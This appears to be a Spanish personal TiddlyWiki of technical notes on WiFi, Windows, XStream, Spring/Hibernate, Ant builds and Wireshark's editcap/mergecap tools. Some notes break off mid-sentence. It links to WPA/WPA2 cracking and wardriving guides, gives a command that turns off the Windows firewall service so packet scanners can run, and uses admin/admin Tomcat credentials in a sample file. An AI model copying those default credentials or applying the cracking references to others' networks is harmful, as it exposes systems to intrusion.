text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre redes WIFI y otras redes locales inalámbricas
!Apuntes rápidos
*
!Enlaces interesantes
* Ataques WPA por Maligno: http://elladodelmal.blogspot.com/2008/08/atacar-wpawpa2-psk-parte-i-de-iv.html
* Crackeo de WPA por Maligno: http://elladodelmal.blogspot.com/2009/01/crackear-wpawpa2-psk-i-de-ii.html
* Wardriving en Point Black: http://www.pointblanksecurity.com/wardriving-tools.php
* Wardrive.net: http://www.wardrive.net/wardriving/tools/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre la familia de sistemas operativos Windows
!Apuntes rápidos
* Windows XP tiene un archivo "hosts" que funciona exactamente igual que el de los *NIX (¿casualidad? ¡no lo creo!). Se puede encontrar en la siguiente ruta:
{{{
C:\WINDOWS\system32\drivers\etc\hosts
}}}
* Windows XP Service Pack 2 desactiva los "raw sockets", que son usados por muchos generadores de paquetes y scanners (nmap, superscan, scapy, pcapy, etc). Se pueden reactivar con el siguiente comando:
{{{
net stop SharedAccess
}}}
Para repararlo se puede consultar la información de esta página: http://www.precisesecurity.com/how-to/ht-sas.htm
!Enlaces interesantes
* ¿Qué es {{{svchost.exe}}}?: http://support.microsoft.com/kb/314056/es
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
/***
|''Name:''|~WriteMacro|
|''Version:''|0.1|
|''Author:''|[[Jack]]|
|''Type:''|Macro|
!Description
Makes use of evalled parameters to write values to the current tiddler or execute code.
!Usage
{{{<<write {{javascript expression}}>>}}}
!Examples (WriteMacroExamples)
Write today's date:
{{{<<write {{'Today is ' + (new Date()).formatString('DDD')}}>>}}}
<<write {{'Today is ' + (new Date()).formatString('DDD')}}>>
!Code
***/
//{{{
version.extensions.write = {major: 0, minor: 1, revision: 0, date: new Date("Apr 23, 2006")};
config.macros.write = {handler:function(place,macroName,params,wikifier,paramString,tiddler) {
var parameters = paramString.parseParams("code",null,true);
var code = parameters[0]['code'][0];
wikify(code,place,null,tiddler);
}}
config.macros.write.wikify = wikify;
wikify = function(source,output,highlightRegExp,tiddler) {
window.currentTiddler = tiddler;
config.macros.write.wikify(source,output,highlightRegExp,tiddler);
}
//}}}
!Descripción
Apuntes sobre XML y tecnologías asociadas: XPath, XQuery, XML Schema, etc.
!Apuntes rápidos
*
!Enlaces interesantes
* XQuery:
** Información en w3schools: http://www.w3schools.com/xquery/xquery_intro.asp
** Tutorial rápido: http://www.stylusstudio.com/xquery_primer.html
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre el protocolo XMPP (conocido también como "Jabber")
!Apuntes rápidos
*
!Enlaces interesantes
* http://es.wikipedia.org/wiki/XMPP
* http://xmpp.org/
* http://www.jabberes.org/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Introducción
XStream es una librería para [[Java]] que permite serializar y deserializar POJOs (beans simples) como documentos XML.
!Inicialización
Se puede inicializar de dos maneras. La más sencilla y rápida requiere de la librería [[XPP3|http://www.extreme.indiana.edu/xgws/xsoap/xpp/mxp1/index.html]]:
{{{
XStream xstream = new XStream();
}}}
Si no se dispone de dicha librería se pueden utilizar las clases estandar de Java:
{{{
XStream xstream = new XStream(new DomDriver());
}}}
!Definición del mapeo entre clases y elementos XML
Una vez inicializado XStream hay que decirle que clases se quieren utilizar, y que nombre tendrán en el DOM del documento XML resultante. A este emparejamiento se le denomina "//alias//". Crear un alias para varias clases es muy sencillo:
{{{
xstream.alias("class_one", Class1.class);
xstream.alias("class_two", Class2.class);
}}}
!Serializar
Una vez definidos los alias, serializar es muy sencillo:
{{{
//Creación de objetos
Class1 obj1 = new Class1();
obj1.setTwo(new Class2());
//Serialización
String xml = xstream.toXML(obj1);
}}}
Esto generará un {{{String}}} con el siguiente contenido:
{{{
<class_one>
<class_two />
<lass_one>
}}}
!Deserializar
El proceso inverso es igualmente sencillo. Por ejemplo, para reconstruir los objetos a partir del XML generado en el punto anterior:
{{{
Class1 obj2 = (Class1)xstream.fromXML(xml);
}}}
!Resumen
* Inicializar XStream:
{{{
XStream xstream = new XStream(new DomDriver());
}}}
* Crear un alias de objeto a etiqueta:
{{{
xstream.alias(String name, Class cls);
}}}
* Serializar:
{{{
xstream.toXML(Object obj);
}}}
* Deserializar:
{{{
Cls obj = (Cls)xstream.fromXML(String xml);
}}}
! Uso de JSON
En vez de XML, XStream permite serializar al formato [[JSON]], ideal para utilizar junto con aplicaciones [[Javascript]], sobre todo si se utiliza Ajax o técnicas similares. XStream soporta dos librerías diferentes para realizar este proceso. Para generar este formato tan sólo hay que sustituir el primer paso (inicialización) por cualquiera de los dos siguientes (según la librería que se quiera utilizar):
* Driver externo //~Jettison//: Es el más sencillo, no reconoce tipos numéricos y genera todo en una única línea.
{{{
XStream xstream = new XStream(new JettisonMappedXmlDriver());
xstream.setMode(XStream.NO_REFERENCES);
}}}
* Driver interno: Es más completo, entiende tipos numéricos y genera JSON legible, pero puede generar código incorrecto:
{{{
XStream xstream = new XStream(new JsonHierarchicalStreamDriver());
xstream.setMode(XStream.NO_REFERENCES);
}}}
La serialización y deserialización se realizan de la misma manera.
!Enlaces:
* Página principal: http://xstream.codehaus.org/
* Tutorial: http://xstream.codehaus.org/tutorial.html
* Turial más completo: http://xstream.codehaus.org/alias-tutorial.html
!Descripción
Apuntes sobre zoología: todo tipo de animales vertebrados e invertebrados
!Apuntes rápidos
* Las marsopas y los defines se diferencian en que los primeros son más pequeños y robustos, y tienen el hocico más corto.
!Enlaces interesantes
* Cría y ganadería: http://www.midiatecavipec.com/
* Zoología en la wikipedia: http://es.wikipedia.org/wiki/Categor%C3%ADa:Zoolog%C3%ADa
* Unidad de Mamíferos Marinos: http://reportajes.wordpress.com/2003/10/26/delfines-en-guerra-reclutas-forzosos/
* Delfines soldado: http://ar.geocities.com/cetaceoslibres/gijoes.html
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
Ejemplo de {{{applicationContext.xml}}}. Cada una de las secciones en mayúsculas podría ir en un archivo separado que sería incluido mediante un <import />
{{{
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN" "http://www.springframework.org/dtd/spring-beans.dtd">
<beans default-autowire="no">
<!-- Importa otros archivos de configuración, para subdividir la configuración en
archivos más manejables
-->
<import resource="subFile.xml" />
<!-- Configurador automático de propiedades -->
<bean id="propertyConfigurer"
class="org.springframework.beans.factory.config.PropertyPlaceholderConfigurer">
<property name="location">
<value>classpath:spring.properties</value>
</property>
<property name="ignoreResourceNotFound" value="false"/>
</bean>
<!--
CONFIGURACIÓN DE HIBERNATE
-->
<!-- DataSource de acceso a base de datos. Las propiedades se cogen del spring.properties-->
<bean id="dataSource" class="org.apache.commons.dbcp.BasicDataSource" destroy-method="close">
<property name="driverClassName"><value>${driverClassName}</value></property>
<property name="url"><value>${dbUrl}</value></property>
<property name="username"><value>${dbUsername}</value></property>
<property name="password"><value>${dbPassword}</value></property>
</bean>
<!-- sessionFactory de hibernate, para la creación de sesiones -->
<bean id="sessionFactory" class="org.springframework.orm.hibernate.LocalSessionFactoryBean" >
<property name="mappingResources">
<list>
<value>com/nombre/paquete1/Clase1.hbm.xml</value>
<value>com/nombre/paquete2/Clase2.hbm.xml</value>
</list>
</property>
<!-- configuración de hibernate -->
<property name="hibernateProperties">
<props>
<prop key="hibernate.dialect">net.sf.hibernate.dialect.OracleDialect</prop>
<prop key="hibernate.query.substitutions">true=1 false=0</prop>
<prop key="hibernate.show_sql">true</prop>
<prop key="hibernate.use_outer_join">false</prop>
<prop key="hibernate.hbm2ddl.auto">none</prop>
<prop key="hibernate.hibernate.cache.use_query_cache">true</prop>
</props>
</property>
<property name="dataSource"><ref local="dataSource"/></property>
</bean>
<!-- Transaction manager -->
<bean id="txManager" class="org.springframework.orm.hibernate.HibernateTransactionManager">
<property name="sessionFactory"><ref bean="sessionFactory"/></property>
</bean>
<!-- Configuración del interceptor de hibernate -->
<bean id="hibernateInterceptor" class="org.springframework.orm.hibernate.HibernateInterceptor">
<property name="sessionFactory"><ref local="sessionFactory" /></property>
</bean>
<bean id="genericProxy" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true">
<property name="transactionManager"><ref local="txManager"/></property>
<property name="transactionAttributes">
<props>
<prop key="get*">PROPAGATION_REQUIRED,readOnly</prop>
<prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>
<prop key="*">PROPAGATION_REQUIRED</prop>
</props>
</property>
</bean>
<!--
CONFIGURACIÓN DE OTROS BEANS (DAOs, etc)
-->
<!-- Ejemplo de configuración de un DAO llamado "soyUnDAO" -->
<bean id="soyUnDAOTarget" class="com.paquete.SoyUnDAOImpl">
<property name="sessionFactory"><ref bean="sessionFactory"/></property>
</bean>
<bean id="soyUnDAO" parent="genericProxy">
<property name="target"><ref bean="soyUnDAOTarget"/></property>
<property name="otraPropiedad"><value>valor de la propiedad</value></property>
<property name="statusMap">
<!-- Ejemplo de propiedad tipo "hashmap"-->
<map>
<entry key="key1" value="valor de la entrada 1" />
<entry key="key2" value="valor de la entrada 2" />
</map>
</property>
</bean>
</beans>
}}}
* Ejemplo de spring.properties: [[springProperties]]
Ejemplo de build.xml
{{{
<?xml version="1.0" ?>
<project name="Nombre del proyecto" default="compilarJava" basedir=".">
<property file="build.properties" />
<property environment="env" />
<property name="tomcat.home" value="${env.CATALINA_HOME}" />
<property name="lib.tomcat.dir" value="${tomcat.home}/common/lib" />
<property name="webapp.dir" value="${tomcat.home}/webapps/${webapp.name}" />
<!-- ClassPath -->
<path id="classpath">
<fileset dir="${lib.dir}">
<include name="**/*.jar" />
<include name="**/*.zip" />
</fileset>
<fileset dir="${lib.tomcat.dir}">
<include name="servlet*.jar" />
<include name="jsp*.jar" />
</fileset>
<pathelement path="${bin}" />
<pathelement path="${build.classes.dir}" />
</path>
<target name="cargarPropiedades">
<property file="${src.dir}/fichero.properties" />
</target>
<!-- Borra la generacion de clases anterior -->
<target name="_preparaVersion" description="Copia los ficheros de propiedades y xml de spring oportunos">
<!-- <echo message="preparando versiín... ${dao.propiedad}-${seguridad.propiedad}" />
<copy tofile="${src.dir}/configuracionSpring.properties" file="${src.dir}/configuracionSpring-${dao.propiedad}.properties" overwrite="true"/>-->
</target>
<!-- Borra la generacion de clases anterior -->
<target name="borrarDirectorios" description="Borra estructura classes" depends="_preparaVersion">
<echo message="borrando directorio classes..." />
<delete dir="${build.classes.dir}" />
<delete dir="${build.dist.dir}" />
</target>
<!-- Borra la generacion de clases anterior y crea una nueva estructura de directorios -->
<target name="crearDirectorios" depends="borrarDirectorios" description="Prepara estructura classes">
<echo message="creando directorio classes..." />
<mkdir dir="${build.classes.dir}" />
<mkdir dir="${build.dist.dir}" />
<copy todir="${build.classes.dir}">
<fileset dir="${src.dir}" includes="**/*.properties" excludes="**/spring*.properties" />
<fileset dir="${src.dir}" includes="**/*.xml" />
<fileset dir="${src.dir}" includes="**/*.vm" />
<fileset dir="${src.dir}" includes="**/*.gif" />
<fileset dir="${src.dir}" includes="**/*.jpg" />
<fileset dir="${src.dir}" includes="**/*.jpeg" />
<fileset dir="${src.dir}" includes="**/*.xsl" />
</copy>
<tstamp />
<echo message="${TSTAMP}" />
</target>
<!-- Compila las clases del proyecto -->
<target name="compilarJava" depends="crearDirectorios" description="Compila clases">
<echo message="Compilando fuentes java..." />
<javac destdir="${build.classes.dir}" debug="true" encoding="ISO-8859-1"
deprecation="false" optimize="on" target="1.4" debuglevel="lines, vars, source">
<src path="${src.dir}" />
<classpath refid="classpath" />
</javac>
</target>
<target name="CopiarCompilacionEclipseSinTest" depends="crearDirectorios" description="Actualiza WebApp">
<copy todir="${build.classes.dir}">
<fileset dir="${bin.dir}">
<exclude name="**/*Test*"/>
</fileset>
</copy>
</target>
<!-- Actualiza el proyecto desplegado en el servidor -->
<target name="sincronizacionTomcat" description="Actualiza WebApp">
<copy todir="${webapp.dir}">
<fileset dir="${rootWebApp.dir}">
<exclude name="**/*.mex"/>
<exclude name="**/*.xml" />
</fileset>
</copy>
</target>
<target name="sincronizacionTomcatConRearranque" description="Para, actualiza arranca WebApp.">
<stop url="${tomcat.manager.url}"
username="${tomcat.manager.username}"
password="${tomcat.manager.password}" path="/${webapp.name}" />
<copy todir="${webapp.dir}">
<fileset dir="${rootWebApp.dir}">
<exclude name="**/*.mex"/>
</fileset>
</copy>
<start url="${tomcat.manager.url}"
username="${tomcat.manager.username}"
password="${tomcat.manager.password}" path="/${webapp.name}" />
</target>
<target name="sincronizacionTomcatConTodo" depends="compilarJava" description="Para, actualiza arranca WebApp.">
<stop url="${tomcat.manager.url}"
username="${tomcat.manager.username}"
password="${tomcat.manager.password}" path="/${webapp.name}" />
<copy todir="${webapp.dir}">
<fileset dir="${rootWebApp.dir}">
<exclude name="**/*.mex"/>
</fileset>
</copy>
<start url="${tomcat.manager.url}"
username="${tomcat.manager.username}"
password="${tomcat.manager.password}" path="/${webapp.name}" />
</target>
<!-- Actualiza JSP en el servidor -->
<target name="sincronizacionJSP" description="Actualiza JSP">
<echo message="Copiando JSP en el servidor..." />
<copy todir="${webapp.dir}/WEB-INF/page">
<fileset dir="${rootWebApp.dir}/WEB-INF/page"
includes="**/*.jsp" />
</copy>
</target>
<!-- Prepara el directorio para empaquetar -->
<target name="prepareWar" depends="compilarJava" >
<copy todir="${rootWebApp.dir}/WEB-INF/lib" overwrite="true">
<fileset dir="${lib.dir}">
</fileset>
</copy>
<copy todir="${build.dist.dir}" file="${rootWebApp.dir}/WEB-INF/web.xml" />
<copy todir="${build.dist.dir}/WEB-INF" file="${rootWebApp.dir}/WEB-INF/struts-config.xml" />
<copy file="${src.dir}/configuracionSpring.properties" tofile="${build.dist.dir}/WEB-INF/classes/configuracionSpring.properties" />
<copy file="${src.dir}/springFiltroSSO.xml" tofile="${build.dist.dir}/WEB-INF/classes/springFiltroSSO.xml" />
<replace file="${build.dist.dir}/web.xml" token="##mainURL##" value="${tramitadorURL}"/>
<replace file="${build.dist.dir}/WEB-INF/struts-config.xml" token="##salidaURL##" value="${tramitadorSalidaURL}"/>
</target>
<target name="executeWar">
<war destfile="${build.dist.dir}/${webapp.name}.war" webxml="${build.dist.dir}/web.xml">
<fileset dir="${build.dist.dir}">
<include name="**/struts-config.xml" />
<include name="**/spring.properties" />
<include name="**/log4j.properties" />
</fileset>
<fileset dir="${rootWebApp.dir}">
<exclude name="**/*.mex"/>
<exclude name="**/web.xml"/>
<exclude name="**/struts-config.xml"/>
</fileset>
<manifest>
<attribute name="Company-Name" value="TB-Solutions"/>
<attribute name="Compiled-By" value="${user.name}"/>
<attribute name="Implementation-Version" value="${webapp.version}"/>
</manifest>
</war>
</target>
<!-- Crea el fichero .war para distribuir -->
<target name="generarDistribucion" depends="cargarPropiedades, prepareWar" description="Crea Jars, War">
<echo message="Construyendo ${webapp.name}.war para TBS-Oracle..." />
<copy file="${src.dir}/spring.properties" tofile="${build.dist.dir}/WEB-INF/classes/spring.properties" />
<copy file="${src.dir}/log4j.properties" tofile="${build.dist.dir}/WEB-INF/classes/log4j.properties" />
<antcall target="executeWar"></antcall>
</target>
<!-- Crea el fichero .ear para distribuir -->
<target name="createEAR" depends="generarDistribucion">
<ear destfile="${build.dist.dir}/${webapp.name}-DESARROLLO.ear" appxml="EAR/META-INF/application.xml">
<fileset dir="${build.dist.dir}" includes="*.war" />
<manifest>
<attribute name="author" value="${user.name}"/>
<attribute name="Implementation-Version" value="${webapp.version}"/>
<attribute name="Destination" value="DESARROLLO"/>
</manifest>
</ear>
</target>
<taskdef file="./tomcatTasks.properties">
<classpath>
<pathelement
path="${tomcat.home}/server/lib/catalina-ant.jar" />
</classpath>
</taskdef>
<target name="tomcatInstallWebApp" description="Install application in Tomcat">
<deploy url="${tomcat.manager.url}"
username="${tomcat.manager.username}"
password="${tomcat.manager.password}" path="/${webapp.name}"
war="file:${build.dist.dir}/${webapp.name}.war" />
</target>
<target name="tomcatRemoveWebApp" description="Remove application from Tomcat">
<undeploy url="${tomcat.manager.url}"
username="${tomcat.manager.username}"
password="${tomcat.manager.password}" path="/${webapp.name}" />
<delete dir="${webapp.dir}" />
</target>
<target name="tomcatReloadWebApp" description="Reload application in Tomcat">
<reload url="${tomcat.manager.url}"
username="${tomcat.manager.username}"
password="${tomcat.manager.password}" path="/${webapp.name}" />
</target>
<target name="tomcatStartWebApp" description="Start Tomcat application">
<start url="${tomcat.manager.url}"
username="${tomcat.manager.username}"
password="${tomcat.manager.password}" path="/${webapp.name}" />
</target>
<target name="tomcatStopWebApp" description="Stop Tomcat application">
<stop url="${tomcat.manager.url}"
username="${tomcat.manager.username}"
password="${tomcat.manager.password}" path="/${webapp.name}" />
</target>
<target name="tomcatListWebApps" description="List Tomcat applications">
<list url="${tomcat.manager.url}"
username="${tomcat.manager.username}"
password="${tomcat.manager.password}" />
</target>
<target name="Generar_e_instalar" depends="tomcatStopWebApp, generarDistribucion-TBS-Tomcat, tomcatRemoveWebApp, tomcatInstallWebApp">
</target>
</project>
}}}
El archivo {{{tomcatTasks.properties}}} contendría lo siguiente:
{{{
deploy=org.apache.catalina.ant.DeployTask
undeploy=org.apache.catalina.ant.UndeployTask
remove=org.apache.catalina.ant.RemoveTask
reload=org.apache.catalina.ant.ReloadTask
start=org.apache.catalina.ant.StartTask
stop=org.apache.catalina.ant.StopTask
list=org.apache.catalina.ant.ListTask
}}}
Y, por último, el archivo {{build.properties}}} debería contener, como mínimo:
{{{
tomcat.manager.url=http://localhost:8080/manager
tomcat.manager.username=admin
tomcat.manager.password=admin
webapp.version=1.0
webapp.name=NombreAp
rootWebApp.dir=WebRoot
lib.dir=WebRoot/WEB-INF/lib
bin.dir=bin
build.classes.dir=WebRoot/WEB-INF/classes
build.dist.dir=build/dist
src.dir=JavaSource/src
}}}
! ¿Qué es editcap?
{{{editcap}}} es una aplicación para manipular ficheros de captura de paquetes, como los producidos por ethereal o wireshark. De hecho, esta aplicación forma parte del paquete de programas [[Wireshark|http://www.wireshark.org/]] (antes conocido como Ethereal). Tiene una funcionalidad más completa que la de [[mergecap]].
La utilidad de esta herramienta resulta evidente a la hora de analizar archivos con muchas capturas, pues permite seleccionar sólo las que resulta interesantes, haciendo mucho más sencillo y rápido el análisis.
! Uso práctico
Veamos algunos ejemplos prácticos de uso, extraídos y traducidos directamente de http://www.thegeekstuff.com/2009/02/editcap-guide-11-examples-to-handle-network-packet-dumps-effectively/ y con información adicional consultada en las [[páginas del manual|http://www.ethereal.com/docs/man-pages/editcap.1.html]]
{{{editcap}}} permite descartar de forma sencilla un grupo de paquetes, simplemente especificando una serie de intervalos separados por guiones. Por ejemplo, para descartar los paquetes del 5 al 25 y del 100 al 120:
{{{
editcap -v input_dump output_dump 5-25 100-120
}}}
Si lo que se desea es
!Descripción
Apuntes sobre el lenguaje de programación haXe
!Apuntes rápidos
* {{multiline{
''¿Qué es haXe?'' Es un lenguaje de programación multiplataforma, que permite con un mismo código fuente compilar para las siguientes plataformas:
** Javascript
** Flash
** PHP
** C++
** NekoVM (máquina virtual de haXe)
Dispone de librerías comunes a todas las plataformas y una serie de librerías específicas
}}}
!Enlaces interesantes
* Página principal: http://haxe.org
* Referencia del lenguale: http://haxe.org/ref
* Ejemplo generado en [[Javascript]]: http://haxe.org/doc/start/js
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
Ejemplo de archivo de mapeo de hibernate
{{{
<?xml version="1.0"?>
<!DOCTYPE hibernate-mapping PUBLIC
"-//hibernate/hibernate Mapping DTD 2.0//EN"
"http://hibernate.sourceforge.net/hibernate-mapping-2.0.dtd">
<hibernate-mapping>
<class name="com.nombre.paquete1.Clase1" table="NOMBRE_TABLA">
<id name="id" column="COLUMNA_ID" type="long" >
<!-- El id se inserta "a mano" -->
<generator class="assigned"/>
<!-- El id se es autoincremental -->
<!--generator class="increment"/-->
</id>
<!-- Ejemplo de propiedad. Los tipos más usuales son "blob", "char", "string", "long", "double" y "date" -->
<property name="nombrePropiedad" column="NOMBRE_COLUMNA" type="long"/>
<!-- Ejemplo de mapeo "varios a uno". Típico de FK que apuntan a un único elemento -->
<many-to-one name="nombrePropiedad" class="com.paquete1.Clase2" column="NOMBRE_COLUMNA" cascade="all" unique="true" />
<!-- Ejemplo de mapeo "uno a varios" o "varios a varios".
El objeto tiene un set con la info de las entradas de una tabla externa que lo referencian
-->
<set name="actas" cascade="all" sort="natural" order-by="propiedadIdExterno desc">
<key column="propiedadIdObjeto" />
<one-to-many class="com.paquete1.Clase2"/>
</set>
</class>
</hibernate-mapping>
}}}
!Temas incompletos
Listado de temas incompletos o que necesitan revisión:
<<forEachTiddler where 'tiddler.tags.contains("incompleto")>>
Ejemplo de JSP que utiliza struts
{{{
<%@ page language="java" contentType="text/html; charset=ISO-8859-1"%>
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
<%@ taglib uri="http://java.sun.com/jstl/fmt" prefix="fmt" %>
<%@ taglib uri="http://struts.apache.org/tags-html" prefix="html"%>
<%@ taglib uri="/WEB-INF/misTags.tld" prefix="prefijo"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<link href="css/estilo.css" rel="stylesheet" type="text/css" />
<script language="Javascript" src='js/jsGeneral.js'></script>
<script language="javascript">
function alCargar(){
//Acciones al cargar la página
}
</script>
</head>
<body onload="alCargar();">
<jsp:include page="archivo.jsp" />
<html:form action="/accionPost">
<!-- Contenido de la página -->
</html:form>
</body>
</html>
}}}
Ejemplo de archivo {{{log4j.properties}}}
{{{
log4j.rootCategory= INFO, Default
#log4j.rootCategory= ALL
# SqlMap logging configuration
#log4j.logger.com.ibatis=DEBUG, iBatis
#log4j.logger.com.ibatis.common.jdbc.SimpleDataSource=DEBUG, iBatis
#log4j.logger.com.ibatis.common.jdbc.ScriptRunner=DEBUG, iBatis
#log4j.logger.com.ibatis.sqlmap.engine.impl.SqlMapClientDelegate=DEBUG, iBatis
#log4j.logger.java.sql.Connection=DEBUG, iBatis
#log4j.logger.java.sql.Statement=DEBUG, iBatis
#log4j.logger.java.sql.PreparedStatement=DEBUG, iBatis
#log4j.logger.java.sql.ResultSet=DEBUG, iBatis
#Para algunos programas auxiliares bajamos el log a error (solo saldrán trazas de error o mas graves)
log4j.logger.net.sf.hibernate = ERROR, INFO
log4j.logger.org.apache.commons = ERROR
log4j.logger.org.apache.struts = ERROR
#log4j.appender.Default=org.apache.log4j.ConsoleAppender
log4j.appender.Default=org.apache.log4j.FileAppender
log4j.appender.Default.DatePattern=.yyyy-MM-dd
log4j.appender.Default.File=${catalina.home}/logs/archivo.log
log4j.appender.Default.layout=org.apache.log4j.PatternLayout
#log4j.appender.Default.layout.ConversionPattern=%d-%-7r %-5p [%-18t] %-30m %c{1}.%M (l\u00EDnea:%-4L) %n
log4j.appender.Default.layout.ConversionPattern==%d %-5p %c - %m%n
#log4j.appender.R=org.apache.log4j.FileAppender
#log4j.appender.R.File=/RegHor.log
#log4j.appender.R.layout=org.apache.log4j.PatternLayout
#log4j.appender.R.layout.ConversionPattern= [%t] %-5p - %m%n
#log4j.appender.Ra=org.apache.log4j.FileAppender
#log4j.appender.Ra.File=${user.home}/archivo.log
#log4j.appender.Ra.layout=org.apache.log4j.PatternLayout
#log4j.appender.Ra.layout.ConversionPattern=%d-%-7r %-5p [%-18t] %-30m %c{1}.%M (l\u00EDnea:%-4L) %n
#log4j.appender.errLog=org.apache.log4j.DailyRollingFileAppender
#log4j.appender.errLog.DatePattern=.yyyy-MM-dd
#log4j.appender.errLog.File=..\logs\archivo.log
#log4j.appender.errLog.layout=org.apache.log4j.PatternLayout
#log4j.appender.errLog.layout.ConversionPattern=%d-%-7r %-5p [%-18t] %-30m %c{1}.%M (l\u00EDnea:%-4L) %n
#log4j.appender.iBatis=org.apache.log4j.DailyRollingFileAppender
#log4j.appender.iBatis.DatePattern=.yyyy-MM-dd
#log4j.appender.iBatis.File=${user.home}/iBatis.log
#log4j.appender.iBatis.layout=org.apache.log4j.PatternLayout
#log4j.appender.iBatis.layout.ConversionPattern=%d-%-7r %-5p [%-18t] %-30m %c{1}.%M (l\u00EDnea:%-4L) %n
}}}
Suele ser generado por el script de ant
{{{
Manifest-Version: 1.0
Class-Path:
}}}
! ¿Qué es mergecap?
{{{mergecap}}} es una aplicación que permite manipular archivos de captura {{{.cap}}}. Esta aplicación viene es parte del famoso paquete [[Wireshark|http://www.wireshark.org/]] (antes conocido como Ethereal), por lo que se puede imaginar que ha sido diseñado principalmente para trabajar junto con este famoso analizador de paquetes.
La principal utilidad de esta aplicación es la de unir varios archivos de captura en uno solo, para facilitar el análisis de los datos contenidos en ambos.
! Uso práctico
Veamos algunos ejemplos prácticos de uso, extraídos y traducidos directamente de http://www.thegeekstuff.com/2009/03/mergecap-and-tshark-merge-packet-dumps-and-analyze-network-traffic/ y con información adicional consultada en las [[páginas del manual|http://www.ethereal.com/docs/man-pages/mergecap.1.html]]
Mezcla los fichero {{{input_dump1}}} y {{{input_dump2}}} en el fichero {{{output_dump}}} y ordena los datos cronológicamente, utilizando los timestamp de cada captura:
{{{
mergecap -v -w output_dump input_dump1 input_dump2
}}}
Para evitar que utilice los timestamp y simplemente concatenar un fichero con otro, se puede utilizar el parámetro {{{-a}}}
{{{
mergecap -v -w output_dump -a input_dump1 input_dump2
}}}
Si se prefiere imprimir la salida por pantalla o pasarla por una tubería a otro programa, en vez de escribirla a un fichero, se puede especificar el nombre especial de fichero {{{-}}} (guión).
{{{
mergecap -v -w - input_dump1 input_dump2
}}}
También se puede cambiar el formato del fichero resultante mediante {{{-F formato}}}. Si no se especifica el formato, se mostrará una lista de formatos válidos. Para unir dos ficheros en uno y convertir el formato del fichero de captura a Wireless PAN:
{{{
mergecap -v -w output_dump -T wpan input_dump1 input_dump2
}}}
Por último, se puede utilizar {{{-T formato_trama}}} para cambiar el formato del encapsulado de las capturas. Si no se conoce el nombre formato, se puede omitir y mostrará un listado de los formatos disponibles. Por ejemplo, si las tramas se han capturado encapsuladas en paquetes ETHERNET, se pueden convertir a FDDI con el siguiente comando:
{{{
